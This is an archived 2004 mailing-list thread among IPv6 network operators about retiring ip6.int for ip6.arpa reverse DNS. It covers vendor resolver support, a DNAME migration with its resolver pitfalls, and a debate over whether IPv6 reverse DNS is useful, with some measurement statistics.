>application vendors to do ip6.arpa support in their code.
>For instance both Fedora nor Windows XP don't have it yet.
>
>Greets,
>  Jeroen

Marc Blanchet is readying the servers as we speak to make this happen.


Bob


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Subject: RE: [6bone] Fwd: BCP 80, RFC 3681 on Delegation of  E.F.F.3.IP6.ARPA
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-----BEGIN PGP SIGNED MESSAGE-----

Bob Fink [mailto:bob@thefinks.com] wrote:

<SNIP>

> Marc Blanchet is readying the servers as we speak to make this happen.

Nice ;)

RFC3152 Section 2 mentions:
8<--------
   In this context, 'deprecate' means that the old usage is not
   appropriate for new implementations, and IP6.INT will likely be
   phased out in an orderly fashion.
- -------->8

Can we start setting a phase-out date on ip6.int too ?
Eg 6/6/2004, that way vendors *will* see where ip6.arpa isn't
used yet. All ISP's can easily upgrade to ip6.arpa trees in
the mean time. 4 months should be enough to change the string
in the resolver code from ip6.int to ip6.arpa and there won't
be anyone saying that because they use it for production they
need to do regression testing especially as the ip6.int tree
was already made obsolete in August 2001, that is 2+ years ago.

For people moving over in the next couple of weeks, one
can employ a DNAME, eg:

8.b.7.0.1.0.0.2.ip6.int. 7200   IN      DNAME   8.b.7.0.1.0.0.2.ip6.arpa.
e.5.c.5.c.0.e.f.f.f.7.2.0.9.2.0.e.1.0.0.3.0.0.0.8.b.7.0.1.0.0.2.ip6.int. 0 IN CNAME e.5.c.5.c.0.e.f.f.f.7.2.0.9.2.0.e.1.0.0.3.0.0.0.8.b.7.0.1.0.0.2.ip6.arpa.
3.0.0.0.8.b.7.0.1.0.0.2.ip6.arpa. 86400 IN SOA  nsauth1.bit.nl. hostmaster.bit.nl. 2004011901 28800 7200 604800 86400
;; Received 250 bytes from 2001:7b8:3:2c::53#53(nsauth1.bit.nl) in 38 ms

Greets,
 Jeroen

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From gert@Space.Net Wed Jan 21 04:08:01 2004
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From: Gert Doering <gert@space.net>
To: Jeroen Massar <jeroen@unfix.org>
Subject: Re: [6bone] Fwd: BCP 80, RFC 3681 on Delegation of  E.F.F.3.IP6.ARPA
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Hi,

On Wed, Jan 21, 2004 at 12:08:42PM +0100, Jeroen Massar wrote:
[..]
> Can we start setting a phase-out date on ip6.int too ?
> Eg 6/6/2004, that way vendors *will* see where ip6.arpa isn't
> used yet. 

I'd say this is too early (6/6/05 would be fine, though).  

There are LOTS of implementations out there that will break (FreeBSDs 
up to 4.8 or so, all Cisco IPv6 implementations, etc.), so a bit more 
of a warning would be nice.

[..]
> For people moving over in the next couple of weeks, one
> can employ a DNAME, eg:

That's a nice one indeed, yes.  But only if you have BIND9, correct?

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  58081  (57882)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From jeroen@unfix.org Wed Jan 21 04:29:17 2004
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Subject: RE: [6bone] Fwd: BCP 80, RFC 3681 on Delegation of  E.F.F.3.IP6.ARPA
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-----BEGIN PGP SIGNED MESSAGE-----

Gert Doering [mailto:gert@space.net] wrote:

> On Wed, Jan 21, 2004 at 12:08:42PM +0100, Jeroen Massar wrote:
> [..]
> > Can we start setting a phase-out date on ip6.int too ?
> > Eg 6/6/2004, that way vendors *will* see where ip6.arpa isn't
> > used yet. 
> 
> I'd say this is too early (6/6/05 would be fine, though).  
>
> There are LOTS of implementations out there that will break (FreeBSDs 
> up to 4.8 or so, all Cisco IPv6 implementations, etc.), so a bit more 
> of a warning would be nice.

It should have happened 2 years ago already.
And when you are experimenting with IPv6 one is already running
the newest-of-the-newest, I thus sincerely hope that these people
know how and that they need to upgrade their software to avoid
the many exploits that are out there. Next to that the people
that don't know about ip6.arpa probably don't read any of the
mailing lists either thus will it really matter if it breaks
today or tomorrow because ip6.int is gone?

I do understand the problem with cisco's btw as good working
IOS's that fit into the smallish routers will be a problem.
Then again how much reverse resolving is required on such
a machine? It was intended to route, not shell ;)

Maybe 12/12/2004 would be a good date?
Then people have ~11 months to upgrade.

> [..]
> > For people moving over in the next couple of weeks, one
> > can employ a DNAME, eg:
> 
> That's a nice one indeed, yes.  But only if you have BIND9, correct?

According to some googling even bind8 supports DNAME.
Between DNS servers it should not pose a problem ofcourse.

Greets,
 Jeroen

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Hi
I don't think we need to force anybody to migrate to .arpa. Just wait and
Jesus will come.
I recieved this answer from Microsoft. Service Pack 2 will do the trick with XP.
All newer microsoft operating systems already use ip6.arpa (Unsure about
CE though).

I have no idea about Linux and I'm not very into guessing here. I'm
already pretty unhappy with their choices of charset filtering, but thats
another issue.

Joergen Hovland


---------- Forwarded message ----------
Date: Wed, 21 Jan 2004 11:59:07 -0800
Subject: RE: IP6.ARPA and IP6.INT


The currently shipping XP version indeed uses the old ip6.int.  XP was put to bed -- at least from the perspective of my being able to get fixes into the product -- before the change to ip6.arpa.
The fix (to ip6.arpa) is in XP SP2 which will ship this spring and will quickly become the main version shipped by OEMs with new boxes -- plus of course available for existing customers to update to.

~~~~

There is no "new software" being released with the old string.   Win2003 server, shipped last year, has the ip6.arpa.   All Longhorn alpha, developer releases, betas ... through final product also have\will have ip6.arpa.

----------------

> -----Original Message-----
> -----Original Message-----
> From: Jørgen Hovland
> Sent: Wednesday, January 21, 2004 4:28 AM
> To: MS Online Customer Service (support); IPv6 Feedback Alias
> Cc: Jeroen Massar
> Subject: IP6.ARPA and IP6.INT
>
> ----- Original Message -----
> From: "Jeroen Massar"
> To: "'Jørgen Hovland'"
> Sent: Wednesday, January 21, 2004 12:53 AM
> Subject: RE: [6bone] Fwd: BCP 80, RFC 3681 on Delegation of
> E.F.F.3.IP6.ARPA
>
>
> > Since then I have been mailing Microsoft a lot of times about this
> > and also raised it a couple of times in their newsgroups.
> > Last response was "maybe in XP SP2".
> >
>
>

From Stig.Venaas@uninett.no Thu Jan 22 05:23:50 2004
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Subject: Re: [6bone] Fwd: BCP 80, RFC 3681 on Delegation of E.F.F.3.IP6.ARPA
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On Thu, Jan 22, 2004 at 03:49:21AM +0100, Jørgen Hovland wrote:
> Hi
> I don't think we need to force anybody to migrate to .arpa. Just wait and
> Jesus will come.
> I recieved this answer from Microsoft. Service Pack 2 will do the trick with XP.
> All newer microsoft operating systems already use ip6.arpa (Unsure about
> CE though).
> 
> I have no idea about Linux and I'm not very into guessing here. I'm
> already pretty unhappy with their choices of charset filtering, but thats
> another issue.

I think this is an resolver issue, and not much of an application issue.
The GLIBC resolver on Linux has done .arpa for quite a while.

Stig

From jeroen@unfix.org Thu Jan 22 05:37:01 2004
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Subject: RE: [6bone] Fwd: BCP 80, RFC 3681 on Delegation of E.F.F.3.IP6.ARPA
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-----BEGIN PGP SIGNED MESSAGE-----

Stig Venaas [mailto:Stig.Venaas@uninett.no] wrote:

> On Thu, Jan 22, 2004 at 03:49:21AM +0100, Jørgen Hovland wrote:
> > Hi
> > I don't think we need to force anybody to migrate to .arpa. Just wait and
> > Jesus will come.
> > I recieved this answer from Microsoft. Service Pack 2 will do the trick with XP.
> > All newer microsoft operating systems already use ip6.arpa (Unsure about
> > CE though).

Good to hear about that finally ;)

> > I have no idea about Linux and I'm not very into guessing here. I'm
> > already pretty unhappy with their choices of charset filtering, but thats
> > another issue.
> 
> I think this is an resolver issue, and not much of an 
> application issue.
> The GLIBC resolver on Linux has done .arpa for quite a while.

Indeed, except that there are a lot of distributions which patched
their glibc, that supported ip6.arpa to do ip6.int *only*.
These patches now will have to be revoked and boxes need to be upgraded.
There was a load of problems about this in the debian community btw ;)
But at least unstable/testing does it the correct way(tm)

Greets,
 Jeroen

-----BEGIN PGP SIGNATURE-----
Version: Unfix PGP for Outlook Alpha 13 Int.
Comment: Jeroen Massar / http://unfix.org/~jeroen

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From pim@ipng.nl Thu Jan 22 06:36:57 2004
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From: Pim van Pelt <pim@ipng.nl>
To: Gert Doering <gert@space.net>
Subject: Re: [6bone] Fwd: BCP 80, RFC 3681 on Delegation of  E.F.F.3.IP6.ARPA
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Hi,

| > For people moving over in the next couple of weeks, one
| > can employ a DNAME, eg:
| 
| That's a nice one indeed, yes.  But only if you have BIND9, correct?

Please note that RFC2672, introducing DNAME , is a proposed standard,
and not a draft standard; (quoting a mail from a customer of mine)

This discussion between him and I started when I introduced the ISC 
DNAME trick for ip6.int to ip6.arpa space. Here's a wrap-up:

1. This customer has an NS child delegation for their /48 from BIT, 
   his RRset consists of one of his bind boxes (open) and two of ours 
   (nsauth1 and nsauth3).

2. In my slave configuration for nsauth[13], I have put the /48 zone for
   both arpa and int. Thus I can answer authoritatively for the /48 in
   both arpa and int tree, from nsauth1 and nsauth3.

3. The /32 is delegated to nsauth[123] by my parent. 
4. I DNAME the whole /32 int to the /32 arpa and only carry the zone 
   information for arpa.

$Clueless-OS (RedHat) queries a PTR in the /48. It eventually gets to
the point where the /32 is served by nsauth[123]. If it then persues
nsauth1 or nsauth3, the nameservers respond authoritatively for the
ip6.int PTR. That's fine.

If the resolver happens to ask nsauth2, it answers DNAME and CNAME info
for the ip6.int to the ip6.arpa thing. The resolver does not understand
DNAME and (bug!) skips the whole query alltogether returning error to
the requesting program.

Conclusions:
* If you use DNAME, you are creating a potentially harmful situation for 
  any children you have that you are also slaving for. This is not the
  fault of DNAME, nor bind. Blame the broken DNS implementation (of which
  there's bound to be plenty around!)
* I would seriously consider using an alternative if this is possible. 
  For example, bind also can load the same file in two zone definitions,
  as long as there is no ORIGIN to mess things up.

For my customer, I solved it by making nsauth2 a slave for his /48 also, 
this way it doesn't matter which nsauth* server is queried, they all
answer authoritatively for the zone.

I will continue running DNAME due to other (sitelocal) constraints.

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From P.Zurawski@crowley.pl Thu Jan 22 14:28:15 2004
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Subject: Re: [6bone] virus everywhere..
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I'm terribly sorry for the mess that was sent from me.
--
Piotr Zurawski
Network maintenance engineer

Maintenance department
Crowley Data Poland Sp. z o.o.
----- Original Message ----- 
From: <leif@denby.nu>
To: <6bone@ISI.EDU>
Sent: Monday, January 19, 2004 2:48 PM
Subject: [6bone] virus everywhere..


> someone out there is going to get hit by this. please scan your
emails!
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


From dr@cluenet.de Fri Jan 23 07:47:51 2004
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Subject: Re: [6bone] Fwd: BCP 80, RFC 3681 on Delegation of  E.F.F.3.IP6.ARPA
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On Thu, Jan 22, 2004 at 03:36:41PM +0100, Pim van Pelt wrote:
> $Clueless-OS (RedHat)
[...]
> The resolver does not understand DNAME and (bug!) skips the whole
> query alltogether returning error to the requesting program.
> 
> Conclusions:
> * If you use DNAME, you are creating a potentially harmful situation for 
>   any children you have that you are also slaving for. This is not the
>   fault of DNAME, nor bind. Blame the broken DNS implementation (of which
>   there's bound to be plenty around!)

Red Hat Linux uses the glibc, which uses the BIND 8 stub resolver.
So the blame might be with the BIND 8 stub resolver, not "$Clueless-OS
(RedHat)".


Regards,
Daniel

From jeroen@unfix.org Fri Jan 23 11:39:01 2004
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Subject: RE: [6bone] Fwd: BCP 80, RFC 3681 on Delegation of  E.F.F.3.IP6.ARPA
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-----BEGIN PGP SIGNED MESSAGE-----

Daniel Roesen wrote:

> On Thu, Jan 22, 2004 at 03:36:41PM +0100, Pim van Pelt wrote:
> > $Clueless-OS (RedHat)
> [...]
> > The resolver does not understand DNAME and (bug!) skips the whole
> > query alltogether returning error to the requesting program.
> > 
> > Conclusions:
> > * If you use DNAME, you are creating a potentially harmful situation for 
> >   any children you have that you are also slaving for. This is not the
> >   fault of DNAME, nor bind. Blame the broken DNS implementation (of which
> >   there's bound to be plenty around!)
> 
> Red Hat Linux uses the glibc, which uses the BIND 8 stub resolver.
> So the blame might be with the BIND 8 stub resolver, not "$Clueless-OS
> (RedHat)".

The bind8 stub resolver has been fixed for quite some time now. The
problem though is that they reverse-patched it so that ip6.int was
supported. The main reason for that being that ip6.arpa was not
available on the 6bone.... Note that this is the same problem many
implementations have, thus also Debian, SuSE etc. They will be fixed
ofcourse but one has to complain first ofcourse. The glibc resolver
does it correctly nevertheless ;)

Greets,
 Jeroen

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From frank@troy-networks.com Fri Jan 23 12:09:44 2004
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Hi,

Can someone tell me the best method for finding current prefix allocation
statistics?  I've already checked the CIDR and IANA and came up blank.  I
am not looking for who they were specifically assigned to (although that
would also be nice), just the size and numbers.   For instance how many
/32's, /48's, etc, or if any organizations besides the registries  have
received less than /32. 

Thanks
Frank



From dragon@tdoi.org Fri Jan 23 12:38:50 2004
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> Hi,
> 
> Can someone tell me the best method for finding current prefix allocation
> statistics?  I've already checked the CIDR and IANA and came up blank.  I
> am not looking for who they were specifically assigned to (although that
> would also be nice), just the size and numbers.   For instance how many
> /32's, /48's, etc, or if any organizations besides the registries  have
> received less than /32. 

http://www.sixxs.net/tools/grh/tla/
http://www.ripe.net/ipv6/ipv6allocs.html
http://www.iana.org/assignments/ipv6-tla-assignments


Greets,
 Christian

------------------------------------------
TDOI Network | www.tdoi.org | noc@tdoi.org

From jeroen@unfix.org Fri Jan 23 12:50:38 2004
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-----BEGIN PGP SIGNED MESSAGE-----

Frank P. Troy wrote:

> Can someone tell me the best method for finding current 
> prefix allocation statistics?  I've already checked the CIDR and IANA and came 
> up blank.  I am not looking for who they were specifically assigned to 
> (although that would also be nice), just the size and numbers.

See http://www.sixxs.net/tools/grh/ which is linked from the frontpage
of the http://www.6bone.net page. If you 'miss' any stats there don't
hesitate to ask.

> For 
> instance how many /32's, /48's, etc, or if any organizations besides the 
> registries  have received less than /32. 

RIR -> LIR allocations are between /27 and /32 (or /35 oldstyle)
LIR -> Endsite is usually a single /48, though if an organisation
can really justify some bigger space they can ofcourse get upto a /40.
I don't think there are bigger endsites than /40's though ;)

If you want to know how many /48's are out there do some whoissing.

Greets,
 Jeroen

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From chuck@degler.net Sat Feb  7 18:14:22 2004
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Subject: Re: [6bone] Fwd: BCP 80, RFC 3681 on Delegation of E.F.F.3.IP6.ARPA
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Quoting Bob Fink (bob@thefinks.com):
> >Kurt Roeckx wrote:
> >> FYI.
> >Indeed just saw it on the ID mailer too.
> >Now let's see when it gets implemented.
> >Who votes for 6/6/2006 ? :)
> >
> >On a better topic, I hope this gets there real quick
> >because then we can simply turn of ip6.int and *FORCE*
> >application vendors to do ip6.arpa support in their code.
...
> Marc Blanchet is readying the servers as we speak to make this happen.

I say we rise up and rebel.  I used arpa net.  20+ years
ago.  I'd dance to see the arpa TLD die.  INT is a fine place
to end 6 addresses in.

Then we can mock slow 6 adopters and say:  See?  "INT"!  It's
for INTernet.  You're on arpa-net technology

DNAME frightens me as too easy a way to subvert large parts
of a network.  Thanks, I'll watch from over here.


And I like 6/6/6 as a major ipv6 implementation date :)

From gert@Space.Net Sun Feb  8 10:06:46 2004
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Subject: Re: [6bone] Fwd: BCP 80, RFC 3681 on Delegation of E.F.F.3.IP6.ARPA
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hi,

On Thu, Feb 05, 2004 at 06:34:41PM -0500, Chuck Yerkes wrote:
> > >On a better topic, I hope this gets there real quick
> > >because then we can simply turn of ip6.int and *FORCE*
> > >application vendors to do ip6.arpa support in their code.
> 
> I say we rise up and rebel.  I used arpa net.  20+ years
> ago.  I'd dance to see the arpa TLD die.  INT is a fine place
> to end 6 addresses in.

While I understand your sentiments, I don't think this would be overly
helpful.  This stupid ip6.int/ip6.arpa power play has been going on for
way too long, and we really should take the pragmatic way and just 
accept what is written in the RFC now (ip6.arpa), even if we don't like
it.

Reopening that can of worms will just delay useful reverse DNS deployment
even further.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  58081  (57882)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From wildfire@progsoc.uts.edu.au Sun Feb  8 17:36:16 2004
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To: Gert Doering <gert@space.net>
Subject: reverse DNS considered pointless was: [6bone] Fwd: BCP 80,
	RFC 3681 on Delegation of E.F.F.3.IP6.ARPA
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Hi Gert,

On Sun, Feb 08, 2004 at 07:06:42PM +0100, Gert Doering wrote:
> hi,
> 
> On Thu, Feb 05, 2004 at 06:34:41PM -0500, Chuck Yerkes wrote:
> > > >On a better topic, I hope this gets there real quick
> > > >because then we can simply turn of ip6.int and *FORCE*
> > > >application vendors to do ip6.arpa support in their code.
> > 
> > I say we rise up and rebel.  I used arpa net.  20+ years
> > ago.  I'd dance to see the arpa TLD die.  INT is a fine place
> > to end 6 addresses in.
> 
> While I understand your sentiments, I don't think this would be overly
> helpful.  This stupid ip6.int/ip6.arpa power play has been going on for
> way too long, and we really should take the pragmatic way and just 
> accept what is written in the RFC now (ip6.arpa), even if we don't like
> it.

Fair enough -- how another then (-;

> Reopening that can of worms will just delay useful reverse DNS deployment
> even further.

What useful reverse DNS deployment? Can you usefully assign reverse for
systems using the privacy extensions? Look at IPv4 to see how hard it
for people to manage < 2^8 in address for reverse, do you really expect
people with 2^64 (or more) addresses to cope?

I think the power play has actually been really beneficial -- a lot more
ISPs have realised that reverse DNS is fundamentally pointless, even
more so in the Brave New World of IPv6.

The other cool thing about the power play has been highlighting the cliq
involved. Previously it was all somewhat behind the scenes -- at least
this (terminably long) event has brought most of those involved out into 
the open.

Anand

-- 
 `` We are shaped by our thoughts, we become what we think.
 When the mind is pure, joy follows like a shadow that never
 leaves. '' -- Buddha, The Dhammapada

From jeroen@unfix.org Sun Feb  8 18:20:01 2004
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Subject: RE: reverse DNS considered pointless was: [6bone] Fwd: BCP 80,
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-----BEGIN PGP SIGNED MESSAGE-----

Anand Kumria wrote:

> On Sun, Feb 08, 2004 at 07:06:42PM +0100, Gert Doering wrote:

> > Reopening that can of worms will just delay useful reverse DNS deployment
> > even further.
> 
> What useful reverse DNS deployment? Can you usefully assign 
> reverse for systems using the privacy extensions?

Those addresses are not meant to be reversed and are meant for
a short life anyways. Programs doing SSH for instance should
request the 'static' address of a host when connecting.
Personally I turn the option of on every box I visit.
For linux kernels one has the option of not even compiling it
in and it is off per default fortunatly ;) The privacy
extensions where meant for workstations and similar setups
anyways, these don't need reverses. Server boxes and routers
do though, or are you changing the address of your webserver
every 10 minutes ? :)

> Look at IPv4 to see how hard it
> for people to manage < 2^8 in address for reverse, do you really expect
> people with 2^64 (or more) addresses to cope?

Why not, never heared of DHCPv6, DDNS and automated
registration/scripting ? If you or your ISP can't then too bad ;)
FYI: http://ops.ietf.org/dns/dynupd/secure-ddns-howto.html
Using a little scripting I have also made a Windows version,
sporting IPv6 support thus everything is possible. Windows.Net
is probably already doing it from install btw, though I am not
sure as I don't have anything 'newer' as XP. Maybe SP2?

I know for sure that the IPv6 reverse tree is much better populated
and usefully (no automatically generated reverses) populated than
the counterpart IPv4 tree. Main reason: dnsspamming irc kiddo's.
Next to that the people that do IPv6 want it to succeed and thus also
put those things neatly into the reverse and forward DNS.
Btw, I know from experience a nice reverse DNS tree setup which has
more entries (non-spammed btw) than most hosting ISP's serve DNS for
websites :) Eat 18mb of ascii dns zones <grin>

There should be a document, which probably needs to be created as
I haven't seen one yet, defining how to make this all work, nice job
for the IETF v6ops group. A nice scenario on what to delegate to end
users and how endusers can easily populate it.

Another solution would be to have synthesis in DNS. There is a
special ICMPv6 which can be used to query a host for it's hostname.

See draft-ietf-ipngwg-icmp-name-lookups-10.txt, though I don't know
the exact status, KAME stacks have it, from ping6 man on BSD:
8<-----------
     -w      Generate ICMPv6 Node Information DNS Name query, rather than
             echo-request.  -s has no effect if -w is specified.
- ----------->8

Thus:
jeroen@bfib:~$ ping6 -v -w hog
PING6(72=40+8+24 bytes) 2001:7b8:3:1e:290:27ff:fe0c:5c5e --> 2001:7b8:3:17:203:47ff:fe3b:3138
33 bytes from 2001:7b8:3:17:203:47ff:fe3b:3138: hog.ipng.nl. (TTL=0:meaningless)
33 bytes from 2001:7b8:3:17:203:47ff:fe3b:3138: hog.ipng.nl. (TTL=0:meaningless)
<SNIP>

One could let a DNS, which hasn't got a reverse tree for a
certain host do the ICMPv6 trick and return the answer.
Tada, even your privacy addressed hosts could do this but
that would totally defeat the purpose of the 'privacy' which
I still find laugable as one can usually say that not more
than 1000 people will be residing in the same /64 or even /48
thus people coming from that prefix will be the same one
especially if the are visiting the same set of websites.
But this all is work for the IETF and the ISP's ofcourse ;)

> I think the power play has actually been really beneficial -- 
> a lot more ISPs have realised that reverse DNS is fundamentally pointless, even
> more so in the Brave New World of IPv6.

The brave new world over here (Europe) works quite well, we simply
don't use 6bone that much anymore thus have been happily using
RIPE's ip6.int + ip6.arpa delegations. ISP's doing the real thing
have already switched to RIR space a long time ago, usually after
having quite an extensive and happy testing time on the 6bone.

Next to that I wonder what you call 'a lot more ISPs' seeing
that, compared to RIR space, not so many are involved at all.
Also seeing the 6bone list quite quiet tells some things, one
of them being that most really can't care less and have more
important things on their minds than playing the power game.

> The other cool thing about the power play has been highlighting the cliq
> involved. Previously it was all somewhat behind the scenes -- at least
> this (terminably long) event has brought most of those 
> involved out into the open.

It was never behind the scenes, it was always quite
clear what was happening except for the fact that
some people didn't realize it. It is the same like
watching a soap show with someone who is following
it totally, they know what is happening but for a
onetime viewer it is yet another single episode.

Greets,
 Jeroen


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From perry@piermont.com Sun Feb  8 18:56:11 2004
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Anand Kumria <wildfire@progsoc.uts.edu.au> writes:
> What useful reverse DNS deployment? Can you usefully assign reverse for
> systems using the privacy extensions?

Yes, if only to give you a general idea of the organization that the
addresses come from.

> Look at IPv4 to see how hard it for people to manage < 2^8 in
> address for reverse,

It is trivial to manage them -- just generate your forwards and
reverses from a database. I had assumed most people understood that
managing multiple files with interrelated data was best done by
automated, rather than manual, means.

> do you really expect people with 2^64 (or more) addresses to cope?

Yes. Among other things, BIND lets you simply generate names
automatically if you want, and you can also use dynamic update...


-- 
Perry E. Metzger		perry@piermont.com

From mjl@luckie.org.nz Sun Feb  8 21:49:22 2004
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> I know for sure that the IPv6 reverse tree is much better populated
> and usefully (no automatically generated reverses) populated than
> the counterpart IPv4 tree. Main reason: dnsspamming irc kiddo's.
> Next to that the people that do IPv6 want it to succeed and thus also
> put those things neatly into the reverse and forward DNS.
> Btw, I know from experience a nice reverse DNS tree setup which has
> more entries (non-spammed btw) than most hosting ISP's serve DNS for
> websites :) Eat 18mb of ascii dns zones <grin>

just a small amount of stats from someone who is not big on stats:

i did a DNS walk of ip6.int about 9 months ago.

of the ~31k addresses i got, 21k were automatically generated (2x 10k, 
1x 1k).  i saw a fair amount of DNS spamming, but it did not feel like 
IRC lamers had taken over the DNS.  From memory there was some kind of 
free DNS service behind a fair amount of the spam.

of the ~10k left, 2445 survived a sanity check (taking the name returned 
in the PTR and resolving for the IPv6 address returned as part of the walk).

of those 2445, i got a response rate of about 70% +/- 3% with 
traceroute, depending on where the tests were run from.  the majority of 
failures of communicating with an address were loops, followed by dead 
paths (hosts/networks that said nothing).  only a very small proportion 
of addresses that were not actually reachable had a router send an ICMP 
response saying so.

http://voodoo.cs.waikato.ac.nz/~mjl12/ipv6-scamper/

From jeroen@unfix.org Mon Feb  9 04:40:54 2004
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Subject: RE: reverse DNS considered pointless was: [6bone] Fwd: BCP 80,
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Matthew Luckie wrote:

<SNIP>

> just a small amount of stats from someone who is not big on stats:
> 
> i did a DNS walk of ip6.int about 9 months ago.

The trick here is that you should taka a look at ip6.arpa.
ip6.int has been deprecated for over 2 years ago...
Please check ip6.arpa and test RIR space, not 6bone space as
can be seen yet again, ip6.arpa for 6bone will take quite some
time and even more time to get deployed under the many slumbering
and neglected pTLA's floating around.

> of the ~31k addresses i got, 21k were automatically generated 
> (2x 10k, 1x 1k).  i saw a fair amount of DNS spamming, but it did not 
> feel like IRC lamers had taken over the DNS.  From memory there was 
> some kind of free DNS service behind a fair amount of the spam.

It is indeed always in the same prefix, some operators don't
use it at all and some like to use it on every single IP they
can put their hands on.

Do you have some more detailed output of these results. Also did
you mean you autogenerated 21k addresses or that you found 21k
autogenerated reverses?

> of the ~10k left, 2445 survived a sanity check (taking the 
> name returned in the PTR and resolving for the IPv6 address returned as 
> part of the walk).

That's the 6bone indeed, sometimes in traceroutes some odd routes
pop up and some times even the domainname to which the reverse
points to has been expired for 2 years already :)

> of those 2445, i got a response rate of about 70% +/- 3% with 
> traceroute, depending on where the tests were run from.  the 
> majority of failures of communicating with an address were loops, 
> followed by dead paths (hosts/networks that said nothing).  only a very small 
> proportion of addresses that were not actually reachable had a router 
> send an ICMP response saying so.
> 
> http://voodoo.cs.waikato.ac.nz/~mjl12/ipv6-scamper/

I guess you did the same thing as what Lorenzo Colitti did for his
tunnel discovery, you thought that the 6bone registry is a working
and up-to-date source. Well two things about that. There is more to
the IPv6 internet than the 6bone, secondly, the 6bone registry
is one of the biggest messes of them all.

I also read that you used the 6bone db of February 2003 while
doing the tests almost 4 and 6 months later, better use a more
up-to-date version next time as some people do actually update it.

"google IPv6: addresses collected by taking the first 1000 unique
sites returned in a google search for "IPv6" and resolving them for IPv6 addresses "

Most sites in google don't have IPv6, as your report also
notices of the 1000 you took, only 123 has IPv6... though that
is still 12.3% of the hosts, which actually is quite a lot.
Also see http://www.prik.net/list.html for a big list of
IPv6 capable hosts. Maybe run scamper against that list ?
I can do it from my vantage point if you would like to.

Checking slide 9 of Lorenzo's presentation, to be found at:
http://www.ripe.net/ripe/meetings/ripe-47/presentations/ripe47-ipv6-tunnel-disco.pdf
shows that of over the 4000 tunnels 'registered' in the 6bone registry
about 43% are nonexistent and another 32% are down or filtered,
let's assume those simply don't work as filtering simply is not
something that most people do. Thus of the 4000 tunnels
in the registry 43+32 = 75% is broken, only 1000 left...
One can read from this that the 6bone is going away, which is
a good thing as people move to RIR space and more production
environments, the only problem there though is that people
don't take the responsibility to clean the registries.

PS: as for the /127 question at the bottom of your page,
there are many ISP's using /127's, IPng.nl has over 500
from them to endusers. It only hurts on OS's that are
anycast aware and when the tunnel gets configured as a
/127, using 2x /128 does work. I am also aware of setups
that use /64 per link but only route 2x the /128, that is
one /128 to the local host and, one /128 to the remote
endpoint pointing across the tunnel.

Greets,
 Jeroen

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On Mon, Feb 09, 2004 at 03:18:10AM +0100, Jeroen Massar wrote:
> 
> Those addresses are not meant to be reversed and are meant for
> a short life anyways. Programs doing SSH for instance should
> request the 'static' address of a host when connecting.
> Personally I turn the option of on every box I visit.
> For linux kernels one has the option of not even compiling it
> in and it is off per default fortunatly ;) The privacy
> extensions where meant for workstations and similar setups
> anyways, these don't need reverses. Server boxes and routers
> do though, or are you changing the address of your webserver
> every 10 minutes ? :)

Reverse DNS is commonly - whether rightly or wrongly - used by mail
servers before accepting email from a client.    Unless you VPN back to
your home network, or use ssh to a Linux box for a mail client, you'll
want to use some local mail server.   Turning off rfc3041 might not
be possible.

> There should be a document, which probably needs to be created as
> I haven't seen one yet, defining how to make this all work, nice job
> for the IETF v6ops group. A nice scenario on what to delegate to end
> users and how endusers can easily populate it.

There is a draft by Alain Durand I recall, at least on the issue of reverse
DNS and synthesis.  I think that one expired but some of the issues are in
http://www.ietf.org/internet-drafts/draft-ietf-dnsop-ipv6-dns-issues-04.txt
under section 7.

Tim

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From: "Perry E. Metzger" <perry@piermont.com>
Date: Mon, 09 Feb 2004 09:37:00 -0500
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Tim Chown <tjc@ecs.soton.ac.uk> writes:
> Reverse DNS is commonly - whether rightly or wrongly - used by mail
> servers before accepting email from a client.

It is used for all sorts of purposes, and not having it work would be
a major pain in the neck.

Perry

From mjl@luckie.org.nz Mon Feb  9 12:55:28 2004
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Subject: Re: reverse DNS considered pointless was: [6bone] Fwd: BCP 80, RFC3681
	on Delegation of E.F.F.3.IP6.ARPA
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>>i did a DNS walk of ip6.int about 9 months ago.
> 
> The trick here is that you should taka a look at ip6.arpa.
> ip6.int has been deprecated for over 2 years ago...
> Please check ip6.arpa and test RIR space, not 6bone space as
> can be seen yet again, ip6.arpa for 6bone will take quite some
> time and even more time to get deployed under the many slumbering
> and neglected pTLA's floating around.

yeah, I know about that.  I was going to do the same experiment on 
ip6.arpa.  In theory the DNS for ip6.int was smaller than for ip6.arpa, 
so it was useful to run my code on ip6.int first.  I was/am really 
worried about finding large numbers of autogenerated reverses, and 
wanted to get some indication as to what I was likely to hit on ip6.arpa.

>>of the ~31k addresses i got, 21k were automatically generated 
>>(2x 10k, 1x 1k).  i saw a fair amount of DNS spamming, but it did not 
>>feel like IRC lamers had taken over the DNS.  From memory there was 
>>some kind of free DNS service behind a fair amount of the spam.

<SNIP>

> Do you have some more detailed output of these results. Also did
> you mean you autogenerated 21k addresses or that you found 21k
> autogenerated reverses?

I found 21k autogenerated reverses.  I can have a look at the data and 
report on other stats if you would like to suggest things to report on. 
  I noticed a fair number of invalid addresses returned (as in addresses 
that are one byte too long or too short).  Perhaps I should look into 
that.  Answering your question, I don't have a more detailed output of 
the DNS quirks I saw.


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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Matthew Luckie'" <mjl@luckie.org.nz>
Subject: RE: reverse DNS considered pointless was: [6bone] Fwd: BCP 80,
	RFC3681 on Delegation of E.F.F.3.IP6.ARPA
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-----BEGIN PGP SIGNED MESSAGE-----

Matthew Luckie [mailto:mjl@luckie.org.nz] wrote:

> >>i did a DNS walk of ip6.int about 9 months ago.
> > 
> > The trick here is that you should taka a look at ip6.arpa.
> > ip6.int has been deprecated for over 2 years ago...
> > Please check ip6.arpa and test RIR space, not 6bone space as
> > can be seen yet again, ip6.arpa for 6bone will take quite some
> > time and even more time to get deployed under the many slumbering
> > and neglected pTLA's floating around.
> 
> yeah, I know about that.  I was going to do the same experiment on 
> ip6.arpa.  In theory the DNS for ip6.int was smaller than for 
> ip6.arpa, so it was useful to run my code on ip6.int first.  I was/am really 
